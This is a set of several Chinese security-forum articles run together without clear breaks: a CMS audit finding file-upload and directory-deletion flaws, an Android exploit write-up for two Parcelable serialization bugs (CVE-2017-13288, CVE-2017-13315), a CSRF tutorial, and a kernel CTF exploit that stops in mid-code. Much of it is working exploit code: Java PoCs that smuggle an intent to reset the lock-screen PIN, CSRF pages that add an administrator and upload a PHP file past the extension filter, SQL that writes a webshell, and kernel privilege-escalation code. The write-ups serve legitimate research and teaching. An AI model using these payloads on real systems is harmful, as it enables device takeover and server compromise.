for root, dirs, files in os.walk(path):
for file in files:
file_name = os.path.join(root, file)
if file_ext == file.split('.')[-1]:
url = file_name.split(current_root)[-1]
url = re.sub(r'\\', '/', url)
print(url)
except:
exit(print('用法：python list_file.py 文件夹路径 后缀'))
**审计**
* 本地搭建环境进行审计：
通过用户名密码进入后台之后发现其url为：
<http://127.0.0.1/yuyuecms_2.2.15/admin/index/index.html>
感觉像是TP的框架，再看一眼目录结构：
大概可以确定。
在yuyuecms目录下：
发现admin、index、install、login模块，每个下面有个存放控制器的文件夹，再结合上面的url，路由的方式应该是
<http://127.0.0.1/yuyuecms_2.2.15/模块/控制器/方法.html>
知道路由后，思路就很清晰，主要看控制器里面的方法：
* 后台插件上传导致任意文件上传：
跟进1中发现需要验证verification：
通过比对登录数据包发现，登录成功后返回一个固定verification，且后台调用方法时都要进行传参
通过对比2和3处发现，上传时验证了后缀为zip,但是却直接解压文件，并没有对解压后的文件验证，导致了上传
写个phpinfo,打成压缩包，通过后台上传插件处直接上传：
* 后台主题上传导致任意文件上传：
和上面分析一样：
一样的利用方式导致上传shell:
在主题上传处上传新主题：
* 后台任意目录删除：
发现后台存在deltheme()方法：
可以看出路径可控，跟进deleteFolder：
继续跟进delFolder：
完全没有限制，但是只是删除目录，比较鸡肋
在根目录新建test文件夹：
删除：
* 可能的sqli
在install下控制器的step3方法中：
通过post获取name后直接拼接到exec,但是这个是安装时的，没什么实际意义，就没继续跟下去
**后话**
那个遍历目录爆未授权的方法也测试了，没有收获，可能是这个cms是框架结构，这些方面做的比较好吧
能力有限，时间仓促，就找到了3个简单的洞，若是有师傅找到其他的洞，快快评论一下，师傅们带带我呀 | 社区文章 |
作者: heeeeen@MS509Team
### 0x00 简介
最近几个月，Android安全公告公布了一系列系统框架层的高危提权漏洞，如下表所示。
CVE | Parcelable对象 | 公布时间
---|---|---
[CVE-2017-0806](https://android.googlesource.com/platform/frameworks/base/+/b87c968e5a41a1a09166199bf54eee12608f3900)
| GateKeeperResponse | 2017.10
[CVE-2017-13286](https://android.googlesource.com/platform/frameworks/base/+/47ebfaa2196aaf4fbeeec34f1a1c5be415cf041b%5E%21/#F0)
| OutputConfiguration | 2018.04
[CVE-2017-13287](https://android.googlesource.com/platform/frameworks/base/+/09ba8fdffd9c8d74fdc6bfb51bcebc27fc43884a)
| VerifyCredentialResponse | 2018.04
[CVE-2017-13288](https://android.googlesource.com/platform/frameworks/base/+/b796cd32a45bcc0763c50cc1a0cc8236153dcea3)
| PeriodicAdvertisingReport | 2018.04
[CVE-2017-13289](https://android.googlesource.com/platform/frameworks/base/+/5a3d2708cd2289a4882927c0e2cb0d3c21a99c02)
| ParcelableRttResults | 2018.04
[CVE-2017-13311](https://android.googlesource.com/platform/frameworks/base/+/2950276f61220e00749f8e24e0c773928fefaed8)
| SparseMappingTable | 2018.05
[CVE-2017-13315](https://android.googlesource.com/platform/frameworks/base/+/35bb911d4493ea94d4896cc42690cab0d4dbb78f)
| DcParamObject | 2018.05
这批漏洞很有新意，似乎以前没有看到过类似的，其共同特点在于框架中Parcelable对象的写入（序列化）和读出（反序列化）不一致，比如将一个成员变量写入时为long，而读入时为int。这种错误显而易见，但是能够造成何种危害，如何证明是一个安全漏洞，却难以从补丁直观地得出结论。
由于漏洞原作者也没有给出Writeup，这批漏洞披上了神秘面纱。好在[漏洞预警 |
Android系统序列化、反序列化不匹配漏洞](https://www.anquanke.com/post/id/103570)[1]一文给出了漏洞利用的线索——绕过launchAnywhere的补丁。根据这个线索，我们能够利用有漏洞的Parcelable对象，实现以Settings系统应用发送任意Intent启动Activity的能力。
### 0x01 背景知识
#### Android Parcelable 序列化
Android提供了独有的Parcelable接口来实现序列化的方法，只要实现这个接口，一个类的对象就可以实现序列化并可以通过Intent或Binder传输，见下面示例中的典型用法。
public class MyParcelable implements Parcelable {
private int mData;
public int describeContents() {
return 0;
}
public void writeToParcel(Parcel out, int flags) {
out.writeInt(mData);
}
public void readFromParcel(Parcel reply) {
mData = in.readInt();
}
public static final Parcelable.Creator<MyParcelable> CREATOR
= new Parcelable.Creator<MyParcelable>() {
public MyParcelable createFromParcel(Parcel in) {
return new MyParcelable(in);
}
public MyParcelable[] newArray(int size) {
return new MyParcelable[size];
}
};
private MyParcelable(Parcel in) {
mData = in.readInt();
}
}
其中，关键的writeToParcel和readFromParcel方法，分别调用Parcel类中的一系列write方法和read方法实现序列化和反序列化。
#### Bundle
可序列化的Parcelable对象一般不单独进行序列化传输，需要通过Bundle对象携带。 Bundle的内部实现实际是Hashmap，以Key-Value键值对的形式存储数据。例如， Android中进程间通信频繁使用的Intent对象中可携带一个Bundle对象，利用`putExtra(key,
value)`方法，可以往Intent的Bundle对象中添加键值对(Key
Value)。Key为String类型，而Value则可以为各种数据类型，包括int、Boolean、String和Parcelable对象等等，Parcel类中维护着这些类型信息。
见/frameworks/base/core/java/android/os/Parcel.java
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
private static final int VAL_NULL = -1;
private static final int VAL_STRING = 0;
private static final int VAL_INTEGER = 1;
private static final int VAL_MAP = 2;
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4;
private static final int VAL_SHORT = 5;
private static final int VAL_LONG = 6;
private static final int VAL_FLOAT = 7;
对Bundle进行序列化时，依次写入携带所有数据的长度、Bundle魔数(0x4C444E42)和键值对。见BaseBundle.writeToParcelInner方法
int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);
pacel.writeArrayMapInternal方法写入键值对，先写入Hashmap的个数，然后依次写入键和值
/**
* Flatten an ArrayMap into the parcel at the current dataPosition(),
* growing dataCapacity() if needed. The Map keys must be String objects.
*/
/* package */ void writeArrayMapInternal(ArrayMap<String, Object> val) {
...
final int N = val.size();
writeInt(N);
...
int startPos;
for (int i=0; i<N; i++) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
writeString(val.keyAt(i));
writeValue(val.valueAt(i));
...
接着，调用writeValue时依次写入Value类型和Value本身，如果是Parcelable对象，则调用writeParcelable方法，后者会调用Parcelable对象的writeToParcel方法。
public final void writeValue(Object v) {
if (v == null) {
writeInt(VAL_NULL);
} else if (v instanceof String) {
writeInt(VAL_STRING);
writeString((String) v);
} else if (v instanceof Integer) {
writeInt(VAL_INTEGER);
writeInt((Integer) v);
} else if (v instanceof Map) {
writeInt(VAL_MAP);
writeMap((Map) v);
} else if (v instanceof Bundle) {
// Must be before Parcelable
writeInt(VAL_BUNDLE);
writeBundle((Bundle) v);
} else if (v instanceof PersistableBundle) {
writeInt(VAL_PERSISTABLEBUNDLE);
writePersistableBundle((PersistableBundle) v);
} else if (v instanceof Parcelable) {
// IMPOTANT: cases for classes that implement Parcelable must
// come before the Parcelable case, so that their specific VAL_*
// types will be written.
writeInt(VAL_PARCELABLE);
writeParcelable((Parcelable) v, 0);
反序列化过程则完全是一个对称的逆过程，依次读入Bundle携带所有数据的长度、Bundle魔数(0x4C444E42)、键和值，如果值为Parcelable对象，则调用对象的readFromParcel方法，重新构建这个对象。
通过下面的代码，我们还可以把序列化后的Bundle对象存为文件进行研究。
Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, makeEvilIntent());
byte[] bs = {'a', 'a','a', 'a'};
bundle.putByteArray("AAA", bs);
Parcel testData = Parcel.obtain();
bundle.writeToParcel(testData, 0);
byte[] raw = testData.marshall();
try {
FileOutputStream fos = new FileOutputStream("/sdcard/obj.pcl");
fos.write(raw);
fos.close();
} catch (FileNotFoundException e){
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
查看序列化后的Bundle数据如图
#### LaunchAnyWhere漏洞
Retme的[这篇文章](http://retme.net/index.php/2014/08/20/launchAnyWhere.html)[2]对LaunchAnyWhere漏洞进行了详细解析，这里我们借用文中的图，对漏洞简单进行回顾。
普通AppB作为Authenticator，通过Binder传递一个Bundle对象到system_server中的AccountManagerService，这个Bundle对象中包含的一个键值对`{KEY_INTENT:intent}`最终会传递到Settings系统应用，由后者调用startActivity(intent)。漏洞的关键在于，intent可以由普通AppB任意指定，那么由于Settings应用为高权限system用户（uid=1000)，因此最后的startActivity(intent)就可以启动手机上的任意Activity，包括未导出的Activity。例如，intent中指定Settings中的`com.android.settings.password.ChooseLockPassword`为目标Activity,则可以在不需要原锁屏密码的情况下重设锁屏密码。
Google对于这个漏洞的修补是在AccountManagerService中对AppB指定的intent进行检查，确保intent中目标Activity所属包的签名与调用AppB一致。
protected void checkKeyIntent(
4704 int authUid,
4705 Intent intent) throws SecurityException {
4706 long bid = Binder.clearCallingIdentity();
4707 try {
4708 PackageManager pm = mContext.getPackageManager();
4709 ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
4710 ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
4711 int targetUid = targetActivityInfo.applicationInfo.uid;
4712 if (!isExportedSystemActivity(targetActivityInfo)
4713 && (PackageManager.SIGNATURE_MATCH != pm.checkSignatures(authUid,
4714 targetUid))) {
4715 String pkgName = targetActivityInfo.packageName;
4716 String activityName = targetActivityInfo.name;
4717 String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
4718 + "does not share a signature with the supplying authenticator (%s).";
4719 throw new SecurityException(
4720 String.format(tmpl, activityName, pkgName, mAccountType));
4721 }
上次过程涉及到两次跨进程的序列化数据传输。第一次，普通AppB将Bundle序列化后通过Binder传递给`system_server`，然后`system_server`通过Bundle的一系列getXXX（如getBoolean、getParcelable)函数触发反序列化，获得KEY_INTENT这个键的值——一个intent对象，进行安全检查。
若检查通过，调用writeBundle进行第二次序列化，然后Settings中反序列化后重新获得`{KEY_INTENT:intent}`，调用startActivity。
如果第二次序列化和反序列化过程不匹配，那么就有可能在`system_server`检查时Bundle中恶意的`{KEY_INTENT:intent}`不出现，而在`Settings`中出现，那么就完美地绕过了`checkKeyIntent`检查！下面我们就结合两个案例来说明其中的玄机。
### 0x02 案例1：CVE-2017-13288
四月份公布的CVE-2017-13288漏洞出现在PeriodicAdvertisingReport类中，对比writeToParcel和readFromParcel函数
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(syncHandle);
dest.writeLong(txPower);
dest.writeInt(rssi);
dest.writeInt(dataStatus);
if (data != null) {
dest.writeInt(1);
dest.writeByteArray(data.getBytes());
} else {
dest.writeInt(0);
}
}
private void readFromParcel(Parcel in) {
syncHandle = in.readInt();
txPower = in.readInt();
rssi = in.readInt();
dataStatus = in.readInt();
if (in.readInt() == 1) {
data = ScanRecord.parseFromBytes(in.createByteArray());
}
}
在对txPower这个int类型成员变量进行操作时，写为long，读为int，因此经历一次不匹配的序列化和反序列化后txPower之后的成员变量都会错位4字节。那么如何绕过`checkKeyIntent`检查？
这是一项有挑战性的工作，需要在Bundle中精确布置数据。经过几天的思索，我终于想出了以下的解决方案：
在Autherticator
App中构造恶意Bundle，携带两个键值对。第一个键值对携带一个PeriodicAdvertisingReport对象，并将恶意KEY_INTENT的内容放在mData这个ByteArray类型的成员中，第二个键值对随便放点东西。由于这一次序列化需要精确控制内容，我们不希望发生不匹配，因此将PeriodicAdvertisingReport对象writeToParcel时，要和其readFromParcel对应。
那么在`system_server`发生的第一次反序列化中，生成PeriodicAdvertisingReport对象，syncHandle、txPower、rssi、dataStatus这些int型的数据均通过readInt读入为1，同时由于接下来的flag也为1，将恶意`KEY_INTENT`的内容读入到mData。此时，恶意KEY_INTENT不是一个单独的键值对，因此可以逃避checkIntent检查。
接着`system_server`将这个Bundle序列化，此时txPower这个变量使用writeLong写入Bundle，因此为占据8个字节，前4字节为1，后4字节为0。txPower后面的内容写入Bundle不变。
最后在`Settings`发生反序列化，txPower此时又变成了readInt，因此txPower读入为1，后面接着rssi却读入为0，发生了四字节的错位！接下来dataStatus读入为1，flag读入为1，`Settings`认为后面还有ByteArray，但读入的长度域却为1，因此把后面恶意KEY_INTENT的4字节length
（ByteArray
4字节对齐）当做mData。至此，第一个键值对反序列化完毕。然后，恶意`KEY_INTENT`作为一个新的键值对就堂而皇之的出现了！最终的结果是取得以Settings应用的权限发送任意Intent，启动任意Activity的能力。
#### POC
参考[2]编写Authenticator App，主要要点：
在AndroidManifest文件中设置
<service android:name=".AuthenticatorService" android:exported="true" >
<intent-filter>
<action
android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>
实现AuthenticatorService
public class AuthenticatorService extends Service {
@Nullable
@Override
public IBinder onBind(Intent intent) {
MyAuthenticator authenticator = new MyAuthenticator(this);
return authenticator.getIBinder();
}
}
实现Authenticator，addAccount方法中构建恶意Bundle
public class MyAuthenticator extends AbstractAccountAuthenticator {
static final String TAG = "MyAuthenticator";
private Context m_context = null;
public MyAuthenticator(Context context) {
super(context);
m_context = context;
}
@Override
public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
return null;
}
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
Log.v(TAG, "addAccount");
Bundle evilBundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel pcelData = Parcel.obtain();
// Manipulate the raw data of bundle Parcel
// Now we replace this right Parcel data to evil Parcel data
pcelData.writeInt(2); // number of elements in ArrayMap
/*****************************************/
// mismatched object
pcelData.writeString("mismatch");
pcelData.writeInt(4); // VAL_PACELABLE
pcelData.writeString("android.bluetooth.le.PeriodicAdvertisingReport"); // name of Class Loader
pcelData.writeInt(1);//syncHandle
pcelData.writeInt(1);//txPower
pcelData.writeInt(1);//rssi
pcelData.writeInt(1);//dataStatus
pcelData.writeInt(1);// flag for data
pcelData.writeInt(0x144); //length of KEY_INTENT:evilIntent
// Evil object hide in PeriodicAdvertisingReport.mData
pcelData.writeString(AccountManager.KEY_INTENT);
pcelData.writeInt(4);
pcelData.writeString("android.content.Intent");// name of Class Loader
pcelData.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(pcelData, null); // Uri is null
pcelData.writeString(null); // mType is null
pcelData.writeInt(0x10000000); // Flags
pcelData.writeString(null); // mPackage is null
pcelData.writeString("com.android.settings");
pcelData.writeString("com.android.settings.password.ChooseLockPassword");
pcelData.writeInt(0); //mSourceBounds = null
pcelData.writeInt(0); // mCategories = null
pcelData.writeInt(0); // mSelector = null
pcelData.writeInt(0); // mClipData = null
pcelData.writeInt(-2); // mContentUserHint
pcelData.writeBundle(null);
///////////////////////////////////////
pcelData.writeString("Padding-Key");
pcelData.writeInt(0); // VAL_STRING
pcelData.writeString("Padding-Value"); //
int length = pcelData.dataSize();
Log.d(TAG, "length is " + Integer.toHexString(length));
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);
bndlData.appendFrom(pcelData, 0, length);
bndlData.setDataPosition(0);
evilBundle.readFromParcel(bndlData);
Log.d(TAG, evilBundle.toString());
return evilBundle;
}
### 0x03 案例2：CVE-2017-13315
五月份修复的CVE-2017-13315出现在DcParamObject类中，对比writeToParcel和readFromParcel函数.
public void writeToParcel(Parcel dest, int flags) {
dest.writeLong(mSubId);
}
private void readFromParcel(Parcel in) {
mSubId = in.readInt();
}
int类型的成员变量mSubId写入时为long，读出时为int，没有可借用的其他成员变量，似乎在Bundle中布置数据更有挑战性。但受前面将恶意KEY_INTENT置于ByteArray中启发，可以采用如下方案。
在Autherticator
App中构造恶意Bundle，携带三个键值对。第一个键值对携带一个DcParamObject对象；第二个键值对的键的16进制表示为0x06，长度为1，值的类型为13代表ByteArray，然后将恶意KEY_INTENT的内容放在ByteArray中；接下来，再随便放置一个键值对。
那么在`system_server`发生的第一次反序列化中，生成DcParamObject对象，mSubId通过readInt读入为1。后面两个键值对都不是KEY_INTENT，因此可以通过checkIntent检查。
然后，第二次序列化时`system_server`通过writeLong将mSubId写入Bundle，多出四个字节为0x0000 0000 0000
0001，后续内容不变。
最后，`Settings`反序列化读入Bundle，由于读入mSubID仍然为readInt，因此只读到0x0000
0001就认为读DcParamObject完毕。接下来开始读第二个键值对，把多出来的四个字节0x0000
0000连同紧接着的1，认为是第二个键值对的键为null，然后6作为类型参数被读入，认为是long，于是后面把13和接下来ByteArray
length的8字节作为第二个键值对的值。最终，恶意KEY_INTENT显现出来作为第三个键值对！
#### POC
Bundle evilBundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel pcelData = Parcel.obtain();
// Manipulate the raw data of bundle Parcel
// Now we replace this right Parcel data to evil Parcel data
pcelData.writeInt(3); // number of elements in ArrayMap
/*****************************************/
// mismatched object
pcelData.writeString("mismatch");
pcelData.writeInt(4); // VAL_PACELABLE
pcelData.writeString("com.android.internal.telephony.DcParamObject"); // name of Class Loader
pcelData.writeInt(1);//mSubId
pcelData.writeInt(1);
pcelData.writeInt(6);
pcelData.writeInt(13);
//pcelData.writeInt(0x144); //length of KEY_INTENT:evilIntent
pcelData.writeInt(-1); // dummy, will hold the length
int keyIntentStartPos = pcelData.dataPosition();
// Evil object hide in ByteArray
pcelData.writeString(AccountManager.KEY_INTENT);
pcelData.writeInt(4);
pcelData.writeString("android.content.Intent");// name of Class Loader
pcelData.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(pcelData, null); // Uri is null
pcelData.writeString(null); // mType is null
pcelData.writeInt(0x10000000); // Flags
pcelData.writeString(null); // mPackage is null
pcelData.writeString("com.android.settings");
pcelData.writeString("com.android.settings.password.ChooseLockPassword");
pcelData.writeInt(0); //mSourceBounds = null
pcelData.writeInt(0); // mCategories = null
pcelData.writeInt(0); // mSelector = null
pcelData.writeInt(0); // mClipData = null
pcelData.writeInt(-2); // mContentUserHint
pcelData.writeBundle(null);
int keyIntentEndPos = pcelData.dataPosition();
int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos;
pcelData.setDataPosition(keyIntentStartPos - 4); // backpatch length of KEY_INTENT
pcelData.writeInt(lengthOfKeyIntent);
pcelData.setDataPosition(keyIntentEndPos);
Log.d(TAG, "Length of KEY_INTENT is " + Integer.toHexString(lengthOfKeyIntent));
///////////////////////////////////////
pcelData.writeString("Padding-Key");
pcelData.writeInt(0); // VAL_STRING
pcelData.writeString("Padding-Value"); //
int length = pcelData.dataSize();
Log.d(TAG, "length is " + Integer.toHexString(length));
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);
bndlData.appendFrom(pcelData, 0, length);
bndlData.setDataPosition(0);
evilBundle.readFromParcel(bndlData);
Log.d(TAG, evilBundle.toString());
return evilBundle;
}
由于Settings似乎取消了自动化的点击新建账户接口，上述POC利用的漏洞触发还需要用户在Settings->Users&accounts中点击我们加入的Authenticator，点击以后就会调用addAccount方法，最终能够启动settings中的隐藏Activity
ChooseLockPassword。
05-07 06:24:34.337 4646 5693 I ActivityManager: START u0 {act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword (has extras)} from uid 1000
原先设置锁屏PIN码的测试手机，就会出现重新设置PIN码界面，点一下返回，就会出现以下PIN码设置界面。这样就可以在不需要原PIN码的情况下重设锁屏密码。
### 0x04 后记
没想到序列化和反序列化作为极小的编程错误，却可以带来深远的安全影响。这类漏洞可能在接下来的安全公告中还会陆续有披露，毕竟在源码树中搜索序列化和反序列化不匹配的Parcelable类是较为容易的，漏洞的作者应该持续发现了一批。
然而，每个类不匹配的情况有所不同，因此在漏洞利用绕过launchAnywhere补丁时需要重新精确布置Bundle，读者可以用其他有漏洞的Parcelable类来练手。
这类漏洞也是不匹配或者说不一致（Inconsistency)性漏洞的典型。除了序列化和反序列化不一致外，历史上mmap和munmap不一致、同一功能实现在Java和C中的不一致、不同系统对同一标准实现的不一致等等都产生过有趣的漏洞，寻找这种不一致也是漏洞研究的一种方法论。
### 参考
[1] [漏洞预警 | Android系统序列化、反序列化不匹配漏洞](https://www.anquanke.com/post/id/103570)
[2] [launchAnyWhere:
Activity组件权限绕过漏洞解析](http://retme.net/index.php/2014/08/20/launchAnyWhere.html) | 社区文章 |
前段时间学了下php代码审计，注入什么的感觉都被大牛们挖光了，真是不好找，不过还是挖到了些CSRF，感觉还是比较有意思，这里把挖掘经验分享一下。
# 一、 **CSRF简介**
CSRF（Cross-site request
forgery）跨站请求伪造，是一种被动的漏洞利用方式，很多人对这种漏洞不屑一顾。前段时间在学php审计的时候，发现一些厂商对CSRF都是直接忽略，但是一旦利用成功，CSRF同样可以进后台、getshell。这里我通过CSRF的三种请求方式并结合之前挖的洞介绍一下CSRF的漏洞挖掘。
# 二、 **CSRF之GET请求**
一般来说，网站的重要操作都是POST的，比如添加管理员、修改配置文件等。我们知道，无论在什么样的漏洞利用环境下GET请求都是比较容易构造的，所以一般能用GET的方式我们就不要其他的，如果有些时候如果程序没有指定传参的形式，那么我们就能人为的修改传参的过程，将POST改为GET等。。比如在某CMS后台有一个数据库管理功能，可以在线执行sql语句，当他执行语句时发起的是这样的请求
可以看到是一个POST请求，但是它后台是什么接收的呢？
$sql=StripSlashes($sql)
很明显是直接给未初始化的变量赋值（$sql之前没有定义），那么这种赋值方式通过GET也是可以的。比如我们修改成这个样子
这样就为我们构造CSRF的payload提供了便利。OK，那怎么getshell呢？老司机们一眼就看的出来，直接用数据库管理功能导出一句话啊！我们构造这样的sql语句
select '<?php phpinfo();?>' into outfile 'C:/WWW/1.php';
``当他执行时会在网站根目录下生成1.php，绝对路径怎么获取呢？这个自己想办法。。。
然后我们将这个sql语句编码后拼接到url中，并把它放到img标签中
"http://192.168.219.129/admin/index.php?lfj=mysql&action=sql&t=1&sql=%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%43%3a%2f%57%57%57%2f%31%2e%70%68%70%27%3b"
``随便插入一个地方或构造一个页面，诱使管理员访问，就会在根目录下生成1.php文件
# 三、 **CSRF之POST请求**
当某些操作确实指定了POST请求无法修改怎么办，这时候可以构造一个隐藏表单，当页面被访问时表单将自动提交。比如利用某CMS的CSRF漏洞可以构造如下表单添加管理员
<HTML>
<BODY>
<form action="http://192.168.219.129/admin/index.php?archive=management&action=managesava" id="CSRF" method="post">
<input type="hidden" name="inputclass" value="add">
<input type="hidden" name="tab" value="true">
<input type="hidden" name="username" value="admin2">
<input type="hidden" name="password" value="admin2">
<input type="hidden" name="password2" value="admin2">
<input type="hidden" name="sex" value="1">
<input type="hidden" name="name" value="admin2">
<input type="hidden" name="inputclassid" value="1">
<input type="hidden" name="powergroup" value="1">
<input type="hidden" name="isremote" value="1">
</form>
<script>
var f = document.getElementById("CSRF");
f.submit();
</script>
</BODY>
</HTML>
这个表单简单修改下就可以用在其他有同样漏洞的地方。
# 四、 **CSRF之文件上传**
CSRF不仅可以修改添加数据，还可以上传文件，很多时候文件上传只有在后台才能执行，所以这也是一个非常重要的利用方式。但是几乎所有的后台上传都会限制可上传的文件类型，像php、aspx这样的可执行脚本是不能直接上传的，不过要是能够突破这层限制，我们就有机会利用文件上传getshell。
比如下面我利用某cms文件上传漏洞结合CSRF获取shell，在cms后台有上传文件的地方，但是默认只能上传这样的文件
所以我们想要上传shell首先要修改配置参数，添加一个文件类型，但是还不能直接添加.php文件类型，因为代码中做了限制
function typecheck($str_type, $uptype) {
if (empty($str_type)) return false;
$allow_type = explode('|', $str_type);
$newallowType = array();
foreach ($allow_type as $key => $allow_type) {
$allow_typefile = strtolower($allow_type);
if ($allow_typefile == 'php') {
continue;
}
$newallowType[$allow_type] = $allow_type;
}
if (array_key_exists($uptype, $newallowType)) {
return true;
} else {
return false;
}
}
当文件类型为php的时候直接忽略，添加了也没有用，所以要使用一点小技巧，添加文件类型时添加一个.php
(后面有个空格)的文件类型，它能绕过$allow_typefile=='php'这句话的判断，同时在写入文件的时候windows能自动忽略最后面的空格，生成.php文件。
然后就是构造上传文件的表单，POC一共执行两个动作，一是修改配置文件添加允许的上传文件类型，二是上传shell文件
<html>
<body>
<form action="http://192.168.219.129/admin/index.php?archive=management&action=setsave" id="CSRF" method="post">
<input type="hidden" name="upfile_pictype" value="jpg|png|gif">
<input type="hidden" name="uifile_movertype" value="swf|mpg|flv|mp4">
<input type="hidden" name="upfile_filetype" value="zip|rar|doc|xls|php |pdf">
</form>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.219.129/admin/index.php?archive=filemanage&action=upfilesave", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------165693120326202");
xhr.withCredentials = "true";
var body = "-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"upfile/\r\n"+
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"100000000\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"img_width\"\r\n" +
"\r\n" +
"200\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"img_height\"\r\n" +
"\r\n" +
"200\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"filetype\"\r\n" +
"\r\n" +
"file\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"lng\"\r\n" +
"\r\n" +
"cn\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"isgetback\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"upfilepath\"; filename=\"php.php \"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"<?php phpinfo(); ?>\r\n" +
"-----------------------------165693120326202--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
var f = document.getElementById("CSRF");
f.submit();
submitRequest()
</script>
<!--<form action="#">
<input type="submit" value="Submit request" onclick="submitRequest();" />
</form>-->
</body>
</html>
这个POC简单改也改能用在其他地方。
# 五、 **CSRF之防御与绕过**
想要防御的话就要明白CSRF漏洞利用的核心—-构造请求！这个请求会在受害者不知情的情况下发出，对数据进行增删改（CSRF是不能读数据的）。但是如果请求中有我们无法预料的参数，那这个请求也就构造不出来了，所以目前来看防御CSRF最有效的方法还是添加token验证参数，他是随机的，无法预测。但是网上还是有很多绕过的例子，就是因为这个token参数不够随机，所以在挖洞的时候看到CSRF的防御代码也别轻言放弃，它很可能就是个脆弱的随
机数。 | 社区文章 |
# Linux内核pwn——劫持n_tty_ops指针
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x001 前言
以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析，今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。
题目下载：
链接:<https://pan.baidu.com/s/1_DcmU8JzseiiOA7mkYQu8Q> 密码:kfc8
## 0x002 干掉定时logout
由于内核运行一断时间后便会退出，需要解开文件系统，做一定修改
mkdir core
mv ./core.cpio ./core/
cd core
cpio -idmv < initrd
rm initrd
一般的，我们会去看`init`文件，但貌似并没有问题
最后，我找到了`/home/flitbip`下的`.profile`文件，将第1、2行注释掉
为了后续调试方便，我在根目录新建一个`tmp`文件夹，在`init`作如下改动，让启动的内核具有root权限
重新打包
find . -print0 | cpio --null -ov --format=newc > core.cpio
mv ./core.cpio ..
rm -rf ../core
## 0x003 分析
由init看得出来，内核启动过程并未加载任何与题目相关的内核扩展模块，但`src`目录下有一个`flitbip.c`文件
这里定义了一个系统调用(系统调用号为`333`)，会将参数`addr`的第`bit`位翻转
留意到`flit_cout`必须要小于`MAXFLIT = 1`，否则便会退出
绕过方法：
`flit_cout`是有符号长整型，调用一次系统调用`flitbip`，将`flit_cout`最高位翻转，此时`flit_cout`为负数。
long flitbip(long *addr, long bit)
{
__asm__("mov rax, 333;"
"syscall;"
);
}
int main()
{
...
flitbip(flit_count, 63);
...
}
先调试看看是否已经绕过，用`extract-vmlinux`提取内核执行文件
当我看到这样的情况，我是一脸懵逼的
估计是generic版的内核，好吧…只能去`/proc/kallsyms`找了
/tmp # cat /proc/kallsyms | grep flit_count
ffffffff818f4f78 B flit_count
EXP执行前
EXP执行后，看样子`flit_count`翻转成负数了
下面考虑如何提权：
内核中存在`n_tty_ops`这个全局指针，其指向的这片地存储着许多函数指针，我们想办法将该处的函数指针改成我们`root`函数的地址，再触发该函数。
`n_tty_ops`指向的函数指针
最后，我们利用含有漏洞333号系统调用，将`n_tty_read`劫持成`root`函数提权，`n_tty_read`存储在`*n_tty_ops +
0x30`
## 0x004 ROOT
由于没有开aslr，直接将`n_tty_ops`等地址写死即可
完整的EXP
// gcc solved.c -static -masm=intel -g -o solved
#include <stdio.h>
#include <stdlib.h>
unsigned long *flit_count = 0xffffffff818f4f78;
unsigned long *n_tty_read = 0xffffffff810c8510;
unsigned long *n_tty_ops = 0xffffffff8183e320;
unsigned long *current_task = 0xffffffff8182e040;
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov %0, cs;"
"mov %1, ss;"
"mov %2, rsp;"
"pushfq;"
"popq %3;"
